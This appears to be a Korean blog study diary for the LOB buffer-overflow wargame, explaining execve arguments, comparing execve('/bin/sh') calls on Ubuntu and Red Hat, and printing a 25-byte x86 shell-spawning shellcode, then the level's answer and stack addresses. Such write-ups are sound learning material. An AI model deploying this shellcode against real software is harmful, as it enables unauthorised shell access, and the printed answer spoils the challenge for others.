한땀한땀 정성들인 코딩
LOB 문제풀이 일기(3) 본문
execve 함수 인자를 알아보자.
#include <unistd.h> int execve(const char *filename, char *const argv[], char *const envp[]); |
1번째 filename
-파일명 정확히 파일명 문자열의 주소값
2번째 argv
-파일을 실행할때 넘겨줄 변수 배열 포인터 이니 문자열을 여러개 넘겨줄 수 있다.
3번쟤 envp
-환경변수 문자열 위와 마찬가지
ebx, ecx, edx
모두 char형 포인터
커널 버젼 차이로 execve에 인자에 영향이 다른거 같은데 정확히 볼라면 어셈블리어를 봐야된다 ..
버전을 따져서 각 strcpy 함수호출에 대해서 어셈블리어 차이를 보면 명확해 지겠지만 . ㄷㄷ
.
그전에 테스트로 차이를 보자.
char *scode = "/bin/sh"; char *s = NULL; execve(scode, &scode ,s); |
char *scode = "/bin/sh"; char *s = NULL; execve(scode, &s ,&s); |
2가지 차이를 우분투 ,레드햇 리눅스에서 테스트
결과 : 우분투에서는 잘되나 . 레드햇은 안먹히나.
정확한 원인을 파악하기 어렵다.. 일단 당분간 25byte쉘코드를 써먹어야겠다. ㅡ
0: 31 c0 xor eax,eax 2: 50 push eax 3: 68 2f 2f 73 68 push 0x68732f2f 8: 68 2f 62 69 6e push 0x6e69622f d: 89 e3 mov ebx,esp f: 50 push eax 10: 89 e2 mov edx,esp 12: 53 push ebx 13: 89 e1 mov ecx,esp 15: b0 0b mov al,0xb :wq! 17: cd 80 int 0x80 |
최종 쉘코드
답 : hello bof world
0xbf ff fb 6c
0xbf ff fb 7c
0xbffffb0c
'보안 > LOB' 카테고리의 다른 글
LOB 문제풀이 일기(6) (0) | 2021.03.27 |
---|---|
LOB 문제풀이 일기(5) (0) | 2021.03.27 |
LOB 문제풀이 일기(4) (0) | 2021.03.27 |
LOB 문제풀이 일기(2) (0) | 2021.03.27 |
LOB 문제풀이 일기(1) (0) | 2021.03.27 |